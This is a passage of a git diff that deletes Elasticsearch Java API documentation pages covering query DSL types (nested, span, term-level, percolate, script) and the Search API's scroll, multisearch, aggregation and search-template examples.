-Performing full SQL-style joins in a distributed system like Elasticsearch is
-prohibitively expensive.  Instead, Elasticsearch offers two forms of join
-which are designed to scale horizontally.
-
-<<java-query-dsl-nested-query,`nested` query>>::
-
-Documents may contains fields of type `nested`. These
-fields are used to index arrays of objects, where each object can be queried
-(with the `nested` query) as an independent document.
-
-<<java-query-dsl-has-child-query,`has_child`>> and <<java-query-dsl-has-parent-query,`has_parent`>> queries::
-
-A parent-child relationship can exist between two
-document types within a single index. The `has_child` query returns parent
-documents whose child documents match the specified query, while the
-`has_parent` query returns child documents whose parent document matches the
-specified query.
-
-include::nested-query.asciidoc[]
-
-include::has-child-query.asciidoc[]
-
-include::has-parent-query.asciidoc[]
-
-
diff --git a/docs/java-api/query-dsl/match-all-query.asciidoc b/docs/java-api/query-dsl/match-all-query.asciidoc
deleted file mode 100644
index 85d847528f5..00000000000
--- a/docs/java-api/query-dsl/match-all-query.asciidoc
+++ /dev/null
@@ -1,9 +0,0 @@
-[[java-query-dsl-match-all-query]]
-=== Match All Query
-
-See {ref}/query-dsl-match-all-query.html[Match All Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[match_all]
---------------------------------------------------
diff --git a/docs/java-api/query-dsl/match-query.asciidoc b/docs/java-api/query-dsl/match-query.asciidoc
deleted file mode 100644
index 6884deb5f1f..00000000000
--- a/docs/java-api/query-dsl/match-query.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
-[[java-query-dsl-match-query]]
-==== Match Query
-
-See {ref}/query-dsl-match-query.html[Match Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[match]
---------------------------------------------------
-<1> field
-<2> text
diff --git a/docs/java-api/query-dsl/mlt-query.asciidoc b/docs/java-api/query-dsl/mlt-query.asciidoc
deleted file mode 100644
index 11e5c7ef404..00000000000
--- a/docs/java-api/query-dsl/mlt-query.asciidoc
+++ /dev/null
@@ -1,13 +0,0 @@
-[[java-query-dsl-mlt-query]]
-==== More Like This Query
-
-See {ref}/query-dsl-mlt-query.html[More Like This Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[more_like_this]
---------------------------------------------------
-<1> fields
-<2> text
-<3> ignore threshold
-<4> max num of Terms in generated queries
diff --git a/docs/java-api/query-dsl/multi-match-query.asciidoc b/docs/java-api/query-dsl/multi-match-query.asciidoc
deleted file mode 100644
index 86b384d44d3..00000000000
--- a/docs/java-api/query-dsl/multi-match-query.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
-[[java-query-dsl-multi-match-query]]
-==== Multi Match Query
-
-See {ref}/query-dsl-multi-match-query.html[Multi Match Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[multi_match]
---------------------------------------------------
-<1> text
-<2> fields
diff --git a/docs/java-api/query-dsl/nested-query.asciidoc b/docs/java-api/query-dsl/nested-query.asciidoc
deleted file mode 100644
index 9b675ea72ac..00000000000
--- a/docs/java-api/query-dsl/nested-query.asciidoc
+++ /dev/null
@@ -1,12 +0,0 @@
-[[java-query-dsl-nested-query]]
-==== Nested Query
-
-See {ref}/query-dsl-nested-query.html[Nested Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[nested]
---------------------------------------------------
-<1> path to nested document
-<2> your query. Any fields referenced inside the query must use the complete path (fully qualified).
-<3> score mode could be `ScoreMode.Max`, `ScoreMode.Min`, `ScoreMode.Total`, `ScoreMode.Avg` or `ScoreMode.None`
diff --git a/docs/java-api/query-dsl/percolate-query.asciidoc b/docs/java-api/query-dsl/percolate-query.asciidoc
deleted file mode 100644
index 18cdd4a14e5..00000000000
--- a/docs/java-api/query-dsl/percolate-query.asciidoc
+++ /dev/null
@@ -1,61 +0,0 @@
-[[java-query-percolate-query]]
-==== Percolate Query
-
-See:
- * {ref}/query-dsl-percolate-query.html[Percolate Query]
-
-
-[source,java]
---------------------------------------------------
-Settings settings = Settings.builder().put("cluster.name", "elasticsearch").build();
-TransportClient client = new PreBuiltTransportClient(settings);
-client.addTransportAddress(new TransportAddress(new InetSocketAddress(InetAddresses.forString("127.0.0.1"), 9300)));
---------------------------------------------------
-
-Before the `percolate` query can be used an `percolator` mapping should be added and
-a document containing a percolator query should be indexed:
-
-[source,java]
---------------------------------------------------
-// create an index with a percolator field with the name 'query':
-client.admin().indices().prepareCreate("myIndexName")
-                        .addMapping("_doc", "query", "type=percolator", "content", "type=text")
-                        .get();
-
-//This is the query we're registering in the percolator
-QueryBuilder qb = termQuery("content", "amazing");
-
-//Index the query = register it in the percolator
-client.prepareIndex("myIndexName", "_doc", "myDesignatedQueryName")
-    .setSource(jsonBuilder()
-        .startObject()
-            .field("query", qb) // Register the query
-        .endObject())
-    .setRefreshPolicy(RefreshPolicy.IMMEDIATE) // Needed when the query shall be available immediately
-    .get();
---------------------------------------------------
-
-This indexes the above term query under the name
-*myDesignatedQueryName*.
-
-In order to check a document against the registered queries, use this
-code:
-
-[source,java]
---------------------------------------------------
-//Build a document to check against the percolator
-XContentBuilder docBuilder = XContentFactory.jsonBuilder().startObject();
-docBuilder.field("content", "This is amazing!");
-docBuilder.endObject(); //End of the JSON root object
-
-PercolateQueryBuilder percolateQuery = new PercolateQueryBuilder("query", "_doc", BytesReference.bytes(docBuilder));
-
-// Percolate, by executing the percolator query in the query dsl:
-SearchResponse response = client().prepareSearch("myIndexName")
-        .setQuery(percolateQuery))
-        .get();
-//Iterate over the results
-for(SearchHit hit : response.getHits()) {
-    // Percolator queries as hit
-}
---------------------------------------------------
diff --git a/docs/java-api/query-dsl/prefix-query.asciidoc b/docs/java-api/query-dsl/prefix-query.asciidoc
deleted file mode 100644
index eb15c4426f6..00000000000
--- a/docs/java-api/query-dsl/prefix-query.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
-[[java-query-dsl-prefix-query]]
-==== Prefix Query
-
-See {ref}/query-dsl-prefix-query.html[Prefix Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[prefix]
---------------------------------------------------
-<1> field
-<2> prefix
diff --git a/docs/java-api/query-dsl/query-string-query.asciidoc b/docs/java-api/query-dsl/query-string-query.asciidoc
deleted file mode 100644
index 7d8bead2e34..00000000000
--- a/docs/java-api/query-dsl/query-string-query.asciidoc
+++ /dev/null
@@ -1,9 +0,0 @@
-[[java-query-dsl-query-string-query]]
-==== Query String Query
-
-See {ref}/query-dsl-query-string-query.html[Query String Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[query_string]
---------------------------------------------------
diff --git a/docs/java-api/query-dsl/range-query.asciidoc b/docs/java-api/query-dsl/range-query.asciidoc
deleted file mode 100644
index 2d58fbd3a34..00000000000
--- a/docs/java-api/query-dsl/range-query.asciidoc
+++ /dev/null
@@ -1,22 +0,0 @@
-[[java-query-dsl-range-query]]
-==== Range Query
-
-See {ref}/query-dsl-range-query.html[Range Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[range]
---------------------------------------------------
-<1> field
-<2> from
-<3> to
-<4> include lower value means that `from` is `gt` when `false` or `gte` when `true`
-<5> include upper value means that `to` is `lt` when `false` or `lte` when `true`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[range_simplified]
---------------------------------------------------
-<1> field
-<2> set `from` to 10 and `includeLower` to `true`
-<3> set `to` to 20 and `includeUpper` to `false`
diff --git a/docs/java-api/query-dsl/regexp-query.asciidoc b/docs/java-api/query-dsl/regexp-query.asciidoc
deleted file mode 100644
index f9cd8cd72d9..00000000000
--- a/docs/java-api/query-dsl/regexp-query.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
-[[java-query-dsl-regexp-query]]
-==== Regexp Query
-
-See {ref}/query-dsl-regexp-query.html[Regexp Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[regexp]
---------------------------------------------------
-<1> field
-<2> regexp
diff --git a/docs/java-api/query-dsl/script-query.asciidoc b/docs/java-api/query-dsl/script-query.asciidoc
deleted file mode 100644
index a8c60f1d8eb..00000000000
--- a/docs/java-api/query-dsl/script-query.asciidoc
+++ /dev/null
@@ -1,29 +0,0 @@
-[[java-query-dsl-script-query]]
-==== Script Query
-
-See {ref}/query-dsl-script-query.html[Script Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[script_inline]
---------------------------------------------------
-<1> inlined script
-
-
-If you have stored on each data node a script named `myscript.painless` with:
-
-[source,painless]
---------------------------------------------------
-doc['num1'].value > params.param1
---------------------------------------------------
-
-You can use it then with:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[script_file]
---------------------------------------------------
-<1> Script type: either `ScriptType.FILE`, `ScriptType.INLINE` or `ScriptType.INDEXED`
-<2> Scripting engine
-<3> Script name
-<4> Parameters as a `Map<String, Object>`
diff --git a/docs/java-api/query-dsl/simple-query-string-query.asciidoc b/docs/java-api/query-dsl/simple-query-string-query.asciidoc
deleted file mode 100644
index c3b32ecd1cb..00000000000
--- a/docs/java-api/query-dsl/simple-query-string-query.asciidoc
+++ /dev/null
@@ -1,9 +0,0 @@
-[[java-query-dsl-simple-query-string-query]]
-==== Simple Query String Query
-
-See {ref}/query-dsl-simple-query-string-query.html[Simple Query String Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[simple_query_string]
---------------------------------------------------
diff --git a/docs/java-api/query-dsl/span-containing-query.asciidoc b/docs/java-api/query-dsl/span-containing-query.asciidoc
deleted file mode 100644
index 173e26952c2..00000000000
--- a/docs/java-api/query-dsl/span-containing-query.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
-[[java-query-dsl-span-containing-query]]
-==== Span Containing Query
-
-See {ref}/query-dsl-span-containing-query.html[Span Containing Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[span_containing]
---------------------------------------------------
-<1> `big` part
-<2> `little` part
diff --git a/docs/java-api/query-dsl/span-first-query.asciidoc b/docs/java-api/query-dsl/span-first-query.asciidoc
deleted file mode 100644
index d02c164754c..00000000000
--- a/docs/java-api/query-dsl/span-first-query.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
-[[java-query-dsl-span-first-query]]
-==== Span First Query
-
-See {ref}/query-dsl-span-first-query.html[Span First Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[span_first]
---------------------------------------------------
-<1> query
-<2> max end position
diff --git a/docs/java-api/query-dsl/span-multi-term-query.asciidoc b/docs/java-api/query-dsl/span-multi-term-query.asciidoc
deleted file mode 100644
index eea00f61fe7..00000000000
--- a/docs/java-api/query-dsl/span-multi-term-query.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
-[[java-query-dsl-span-multi-term-query]]
-==== Span Multi Term Query
-
-See {ref}/query-dsl-span-multi-term-query.html[Span Multi Term Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[span_multi]
---------------------------------------------------
-<1> Can be any builder extending the `MultiTermQueryBuilder` class. For example: `FuzzyQueryBuilder`,
-`PrefixQueryBuilder`, `RangeQueryBuilder`, `RegexpQueryBuilder` or `WildcardQueryBuilder`.
diff --git a/docs/java-api/query-dsl/span-near-query.asciidoc b/docs/java-api/query-dsl/span-near-query.asciidoc
deleted file mode 100644
index 6f4661e34c9..00000000000
--- a/docs/java-api/query-dsl/span-near-query.asciidoc
+++ /dev/null
@@ -1,12 +0,0 @@
-[[java-query-dsl-span-near-query]]
-==== Span Near Query
-
-See {ref}/query-dsl-span-near-query.html[Span Near Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[span_near]
---------------------------------------------------
-<1> span term queries
-<2> slop factor: the maximum number of intervening unmatched positions
-<3> whether matches are required to be in-order
diff --git a/docs/java-api/query-dsl/span-not-query.asciidoc b/docs/java-api/query-dsl/span-not-query.asciidoc
deleted file mode 100644
index 001c2ca025e..00000000000
--- a/docs/java-api/query-dsl/span-not-query.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
-[[java-query-dsl-span-not-query]]
-==== Span Not Query
-
-See {ref}/query-dsl-span-not-query.html[Span Not Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[span_not]
---------------------------------------------------
-<1> span query whose matches are filtered
-<2> span query whose matches must not overlap those returned
diff --git a/docs/java-api/query-dsl/span-or-query.asciidoc b/docs/java-api/query-dsl/span-or-query.asciidoc
deleted file mode 100644
index 787628b5934..00000000000
--- a/docs/java-api/query-dsl/span-or-query.asciidoc
+++ /dev/null
@@ -1,10 +0,0 @@
-[[java-query-dsl-span-or-query]]
-==== Span Or Query
-
-See {ref}/query-dsl-span-or-query.html[Span Or Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[span_or]
---------------------------------------------------
-<1> span term queries
diff --git a/docs/java-api/query-dsl/span-queries.asciidoc b/docs/java-api/query-dsl/span-queries.asciidoc
deleted file mode 100644
index 0ccbe30638c..00000000000
--- a/docs/java-api/query-dsl/span-queries.asciidoc
+++ /dev/null
@@ -1,65 +0,0 @@
-[[java-span-queries]]
-=== Span queries
-
-Span queries are low-level positional queries which provide expert control
-over the order and proximity of the specified terms. These are typically used
-to implement very specific queries on legal documents or patents.
-
-Span queries cannot be mixed with non-span queries (with the exception of the `span_multi` query).
-
-The queries in this group are:
-
-<<java-query-dsl-span-term-query,`span_term` query>>::
-
-The equivalent of the <<java-query-dsl-term-query,`term` query>> but for use with
-other span queries.
-
-<<java-query-dsl-span-multi-term-query,`span_multi` query>>::
-
-Wraps a <<java-query-dsl-term-query,`term`>>, <<java-query-dsl-range-query,`range`>>,
-<<java-query-dsl-prefix-query,`prefix`>>, <<java-query-dsl-wildcard-query,`wildcard`>>,
-<<java-query-dsl-regexp-query,`regexp`>>, or <<java-query-dsl-fuzzy-query,`fuzzy`>> query.
-
-<<java-query-dsl-span-first-query,`span_first` query>>::
-
-Accepts another span query whose matches must appear within the first N
-positions of the field.
-
-<<java-query-dsl-span-near-query,`span_near` query>>::
-
-Accepts multiple span queries whose matches must be within the specified distance of each other, and possibly in the same order.
-
-<<java-query-dsl-span-or-query,`span_or` query>>::
-
-Combines multiple span queries -- returns documents which match any of the
-specified queries.
-
-<<java-query-dsl-span-not-query,`span_not` query>>::
-
-Wraps another span query, and excludes any documents which match that query.
-
-<<java-query-dsl-span-containing-query,`span_containing` query>>::
-
-Accepts a list of span queries, but only returns those spans which also match a second span query.
-
-<<java-query-dsl-span-within-query,`span_within` query>>::
-
-The result from a single span query is returned as long is its span falls
-within the spans returned by a list of other span queries.
-
-
-include::span-term-query.asciidoc[]
-
-include::span-multi-term-query.asciidoc[]
-
-include::span-first-query.asciidoc[]
-
-include::span-near-query.asciidoc[]
-
-include::span-or-query.asciidoc[]
-
-include::span-not-query.asciidoc[]
-
-include::span-containing-query.asciidoc[]
-
-include::span-within-query.asciidoc[]
diff --git a/docs/java-api/query-dsl/span-term-query.asciidoc b/docs/java-api/query-dsl/span-term-query.asciidoc
deleted file mode 100644
index 2bdf9276515..00000000000
--- a/docs/java-api/query-dsl/span-term-query.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
-[[java-query-dsl-span-term-query]]
-==== Span Term Query
-
-See {ref}/query-dsl-span-term-query.html[Span Term Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[span_term]
---------------------------------------------------
-<1> field
-<2> value
diff --git a/docs/java-api/query-dsl/span-within-query.asciidoc b/docs/java-api/query-dsl/span-within-query.asciidoc
deleted file mode 100644
index afa527c0b67..00000000000
--- a/docs/java-api/query-dsl/span-within-query.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
-[[java-query-dsl-span-within-query]]
-==== Span Within Query
-
-See {ref}/query-dsl-span-within-query.html[Span Within Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[span_within]
---------------------------------------------------
-<1> `big` part
-<2> `little` part
diff --git a/docs/java-api/query-dsl/special-queries.asciidoc b/docs/java-api/query-dsl/special-queries.asciidoc
deleted file mode 100644
index bca3bde3b3f..00000000000
--- a/docs/java-api/query-dsl/special-queries.asciidoc
+++ /dev/null
@@ -1,31 +0,0 @@
-[[java-specialized-queries]]
-
-=== Specialized queries
-
-This group contains queries which do not fit into the other groups:
-
-<<java-query-dsl-mlt-query,`more_like_this` query>>::
-
-This query finds documents which are similar to the specified text, document,
-or collection of documents.
-
-<<java-query-dsl-script-query,`script` query>>::
-
-This query allows a script to act as a filter.  Also see the
-<<java-query-dsl-function-score-query,`function_score` query>>.
-
-<<java-query-percolate-query,`percolate` query>>::
-
-This query finds percolator queries based on documents.
-
-<<java-query-dsl-wrapper-query,`wrapper` query>>::
-
-A query that accepts other queries as json or yaml string.
-
-include::mlt-query.asciidoc[]
-
-include::script-query.asciidoc[]
-
-include::percolate-query.asciidoc[]
-
-include::wrapper-query.asciidoc[]
diff --git a/docs/java-api/query-dsl/term-level-queries.asciidoc b/docs/java-api/query-dsl/term-level-queries.asciidoc
deleted file mode 100644
index e7d5ad4e52b..00000000000
--- a/docs/java-api/query-dsl/term-level-queries.asciidoc
+++ /dev/null
@@ -1,83 +0,0 @@
-[[java-term-level-queries]]
-=== Term level queries
-
-While the <<java-full-text-queries,full text queries>> will analyze the query
-string before executing, the _term-level queries_ operate on the exact terms
-that are stored in the inverted index.
-
-These queries are usually used for structured data like numbers, dates, and
-enums, rather than full text fields.  Alternatively, they allow you to craft
-low-level queries, foregoing the analysis process.
-
-The queries in this group are:
-
-<<java-query-dsl-term-query,`term` query>>::
-
-    Find documents which contain the exact term specified in the field
-    specified.
-
-<<java-query-dsl-terms-query,`terms` query>>::
-
-    Find documents which contain any of the exact terms specified in the field
-    specified.
-
-<<java-query-dsl-range-query,`range` query>>::
-
-    Find documents where the field specified contains values (dates, numbers,
-    or strings) in the range specified.
-
-<<java-query-dsl-exists-query,`exists` query>>::
-
-    Find documents where the field specified contains any non-null value.
-
-<<java-query-dsl-prefix-query,`prefix` query>>::
-
-    Find documents where the field specified contains terms which being with
-    the exact prefix specified.
-
-<<java-query-dsl-wildcard-query,`wildcard` query>>::
-
-    Find documents where the field specified contains terms which match the
-    pattern specified, where the pattern supports single character wildcards
-    (`?`) and multi-character wildcards (`*`)
-
-<<java-query-dsl-regexp-query,`regexp` query>>::
-
-    Find documents where the field specified contains terms which match the
-    regular expression specified.
-
-<<java-query-dsl-fuzzy-query,`fuzzy` query>>::
-
-    Find documents where the field specified contains terms which are fuzzily
-    similar to the specified term.  Fuzziness is measured as a
-    http://en.wikipedia.org/wiki/Damerau%E2%80%93Levenshtein_distance[Levenshtein edit distance]
-    of 1 or 2.
-
-<<java-query-dsl-type-query,`type` query>>::
-
-    Find documents of the specified type.
-
-<<java-query-dsl-ids-query,`ids` query>>::
-
-    Find documents with the specified type and IDs.
-
-
-include::term-query.asciidoc[]
-
-include::terms-query.asciidoc[]
-
-include::range-query.asciidoc[]
-
-include::exists-query.asciidoc[]
-
-include::prefix-query.asciidoc[]
-
-include::wildcard-query.asciidoc[]
-
-include::regexp-query.asciidoc[]
-
-include::fuzzy-query.asciidoc[]
-
-include::type-query.asciidoc[]
-
-include::ids-query.asciidoc[]
diff --git a/docs/java-api/query-dsl/term-query.asciidoc b/docs/java-api/query-dsl/term-query.asciidoc
deleted file mode 100644
index 7c8549dbed4..00000000000
--- a/docs/java-api/query-dsl/term-query.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
-[[java-query-dsl-term-query]]
-==== Term Query
-
-See {ref}/query-dsl-term-query.html[Term Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[term]
---------------------------------------------------
-<1> field
-<2> text
diff --git a/docs/java-api/query-dsl/terms-query.asciidoc b/docs/java-api/query-dsl/terms-query.asciidoc
deleted file mode 100644
index 587968ba18e..00000000000
--- a/docs/java-api/query-dsl/terms-query.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
-[[java-query-dsl-terms-query]]
-==== Terms Query
-
-See {ref}/query-dsl-terms-query.html[Terms Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[terms]
---------------------------------------------------
-<1> field
-<2> values
diff --git a/docs/java-api/query-dsl/type-query.asciidoc b/docs/java-api/query-dsl/type-query.asciidoc
deleted file mode 100644
index 160deedb9ea..00000000000
--- a/docs/java-api/query-dsl/type-query.asciidoc
+++ /dev/null
@@ -1,15 +0,0 @@
-[[java-query-dsl-type-query]]
-==== Type Query
-
-deprecated[7.0.0]
-
-Types are being removed, prefer filtering on a field instead. For
-more information, see {ref}/removal-of-types.html[Removal of mapping types].
-
-See {ref}/query-dsl-type-query.html[Type Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[type]
---------------------------------------------------
-<1> type
diff --git a/docs/java-api/query-dsl/wildcard-query.asciidoc b/docs/java-api/query-dsl/wildcard-query.asciidoc
deleted file mode 100644
index f9ace822aac..00000000000
--- a/docs/java-api/query-dsl/wildcard-query.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
-[[java-query-dsl-wildcard-query]]
-==== Wildcard Query
-
-See {ref}/query-dsl-wildcard-query.html[Wildcard Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[wildcard]
---------------------------------------------------
-<1> field
-<2> wildcard expression
diff --git a/docs/java-api/query-dsl/wrapper-query.asciidoc b/docs/java-api/query-dsl/wrapper-query.asciidoc
deleted file mode 100644
index 3bdf3cc69d3..00000000000
--- a/docs/java-api/query-dsl/wrapper-query.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
-[[java-query-dsl-wrapper-query]]
-==== Wrapper Query
-
-See {ref}/query-dsl-wrapper-query.html[Wrapper Query]
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{query-dsl-test}[wrapper]
---------------------------------------------------
-
-<1> query defined as query builder
diff --git a/docs/java-api/search.asciidoc b/docs/java-api/search.asciidoc
deleted file mode 100644
index 39b451fe266..00000000000
--- a/docs/java-api/search.asciidoc
+++ /dev/null
@@ -1,250 +0,0 @@
-[[java-search]]
-== Search API
-
-The search API allows one to execute a search query and get back search hits
-that match the query. It can be executed across one or more indices and
-across one or more types. The query can be provided using the <<java-query-dsl,query Java API>>.
-The body of the search request is built using the `SearchSourceBuilder`. Here is an example:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.action.search.SearchResponse;
-import org.elasticsearch.action.search.SearchType;
-import org.elasticsearch.index.query.QueryBuilders.*;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-SearchResponse response = client.prepareSearch("index1", "index2")
-        .setSearchType(SearchType.DFS_QUERY_THEN_FETCH)
-        .setQuery(QueryBuilders.termQuery("multi", "test"))                 // Query
-        .setPostFilter(QueryBuilders.rangeQuery("age").from(12).to(18))     // Filter
-        .setFrom(0).setSize(60).setExplain(true)
-        .get();
---------------------------------------------------
-
-Note that all parameters are optional. Here is the smallest search call
-you can write:
-
-[source,java]
---------------------------------------------------
-// MatchAll on the whole cluster with all default options
-SearchResponse response = client.prepareSearch().get();
---------------------------------------------------
-
-NOTE:   Although the Java API defines the additional search types QUERY_AND_FETCH and
-        DFS_QUERY_AND_FETCH, these modes are internal optimizations and should not
-        be specified explicitly by users of the API.
-
-For more information on the search operation, check out the REST
-{ref}/search.html[search] docs.
-
-
-[[java-search-scrolling]]
-=== Using scrolls in Java
-
-Read the {ref}/search-request-body.html#request-body-search-scroll[scroll documentation]
-first!
-
-[source,java]
---------------------------------------------------
-import static org.elasticsearch.index.query.QueryBuilders.*;
-
-QueryBuilder qb = termQuery("multi", "test");
-
-SearchResponse scrollResp = client.prepareSearch(test)
-        .addSort(FieldSortBuilder.DOC_FIELD_NAME, SortOrder.ASC)
-        .setScroll(new TimeValue(60000))
-        .setQuery(qb)
-        .setSize(100).get(); //max of 100 hits will be returned for each scroll
-//Scroll until no hits are returned
-do {
-    for (SearchHit hit : scrollResp.getHits().getHits()) {
-        //Handle the hit...
-    }
-
-    scrollResp = client.prepareSearchScroll(scrollResp.getScrollId()).setScroll(new TimeValue(60000)).execute().actionGet();
-} while(scrollResp.getHits().getHits().length != 0); // Zero hits mark the end of the scroll and the while loop.
---------------------------------------------------
-
-[[java-search-msearch]]
-=== MultiSearch API
-
-See {ref}/search-multi-search.html[MultiSearch API Query]
-documentation
-
-[source,java]
---------------------------------------------------
-SearchRequestBuilder srb1 = client
-    .prepareSearch().setQuery(QueryBuilders.queryStringQuery("elasticsearch")).setSize(1);
-SearchRequestBuilder srb2 = client
-    .prepareSearch().setQuery(QueryBuilders.matchQuery("name", "kimchy")).setSize(1);
-
-MultiSearchResponse sr = client.prepareMultiSearch()
-        .add(srb1)
-        .add(srb2)
-        .get();
-
-// You will get all individual responses from MultiSearchResponse#getResponses()
-long nbHits = 0;
-for (MultiSearchResponse.Item item : sr.getResponses()) {
-    SearchResponse response = item.getResponse();
-    nbHits += response.getHits().getTotalHits().value;
-}
---------------------------------------------------
-
-
-[[java-search-aggs]]
-=== Using Aggregations
-
-The following code shows how to add two aggregations within your search:
-
-[source,java]
---------------------------------------------------
-SearchResponse sr = client.prepareSearch()
-    .setQuery(QueryBuilders.matchAllQuery())
-    .addAggregation(
-            AggregationBuilders.terms("agg1").field("field")
-    )
-    .addAggregation(
-            AggregationBuilders.dateHistogram("agg2")
-                    .field("birth")
-                    .calendarInterval(DateHistogramInterval.YEAR)
-    )
-    .get();
-
-// Get your facet results
-Terms agg1 = sr.getAggregations().get("agg1");
-Histogram agg2 = sr.getAggregations().get("agg2");
---------------------------------------------------
-
-See <<java-aggs,Aggregations Java API>>
-documentation for details.
-
-
-[[java-search-terminate-after]]
-=== Terminate After
-
-The maximum number of documents to collect for each shard, upon reaching which the query execution will terminate early.
-If set, you will be able to check if the operation terminated early by asking for `isTerminatedEarly()` in the
-`SearchResponse` object:
-
-[source,java]
---------------------------------------------------
-SearchResponse sr = client.prepareSearch(INDEX)
-    .setTerminateAfter(1000)    <1>
-    .get();
-
-if (sr.isTerminatedEarly()) {
-    // We finished early
-}
---------------------------------------------------
-<1> Finish after 1000 docs
-
-[[java-search-template]]
-=== Search Template
-
-See {ref}/search-template.html[Search Template] documentation
-
-Define your template parameters as a `Map<String,Object>`:
-
-[source,java]
---------------------------------------------------
-Map<String, Object> template_params = new HashMap<>();
-template_params.put("param_gender", "male");
---------------------------------------------------
-
-You can use your stored search templates in `config/scripts`.
-For example, if you have a file named `config/scripts/template_gender.mustache` containing:
-
-[source,js]
---------------------------------------------------
-{
-  "query" : {
-    "match" : {
-      "gender" : "{{param_gender}}"
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-Create your search template request:
-
-[source,java]
---------------------------------------------------
-SearchResponse sr = new SearchTemplateRequestBuilder(client)
-    .setScript("template_gender")                 <1>
-    .setScriptType(ScriptService.ScriptType.FILE) <2>
-    .setScriptParams(template_params)             <3>
-    .setRequest(new SearchRequest())              <4>
-    .get()                                        <5>
-    .getResponse();                               <6>
---------------------------------------------------
-<1> template name
-<2> template stored on disk in `gender_template.mustache`
-<3> parameters
-<4> set the execution context (ie. define the index name here)
-<5> execute and get the template response
-<6> get from the template response the search response itself
-
-You can also store your template in the cluster state:
-
-[source,java]
---------------------------------------------------
-client.admin().cluster().preparePutStoredScript()
-    .setScriptLang("mustache")
-    .setId("template_gender")
-    .setSource(new BytesArray(
-        "{\n" +
-        "    \"query\" : {\n" +
-        "        \"match\" : {\n" +
-        "            \"gender\" : \"{{param_gender}}\"\n" +
-        "        }\n" +
-        "    }\n" +
-        "}")).get();
---------------------------------------------------
-
-To execute a stored templates, use `ScriptService.ScriptType.STORED`:
-
-[source,java]
---------------------------------------------------
-SearchResponse sr = new SearchTemplateRequestBuilder(client)
-        .setScript("template_gender")         <1>
-        .setScriptType(ScriptType.STORED)     <2>
-        .setScriptParams(template_params)     <3>
-        .setRequest(new SearchRequest())      <4>
-        .get()                                <5>
-        .getResponse();                       <6>
---------------------------------------------------
-<1> template name
-<2> template stored in the cluster state
-<3> parameters
-<4> set the execution context (ie. define the index name here)
-<5> execute and get the template response
-<6> get from the template response the search response itself
-
-You can also execute inline templates:
-
-[source,java]
---------------------------------------------------
-sr = new SearchTemplateRequestBuilder(client)
-        .setScript("{\n" +                   <1>
-                "        \"query\" : {\n" +
-                "            \"match\" : {\n" +
-                "                \"gender\" : \"{{param_gender}}\"\n" +
-                "            }\n" +
-                "        }\n" +
-                "}")
-        .setScriptType(ScriptType.INLINE)    <2>
-        .setScriptParams(template_params)    <3>
-        .setRequest(new SearchRequest())     <4>
-        .get()                               <5>
-        .getResponse();                      <6>
---------------------------------------------------
-<1> template's body
-<2> template is passed inline
-<3> parameters
-<4> set the execution context (ie. define the index name here)
-<5> execute and get the template response
-<6> get from the template response the search response itself
diff --git a/docs/java-rest/high-level/aggs-builders.asciidoc b/docs/java-rest/high-level/aggs-builders.asciidoc
deleted file mode 100644
index 57c09e4e9b4..00000000000
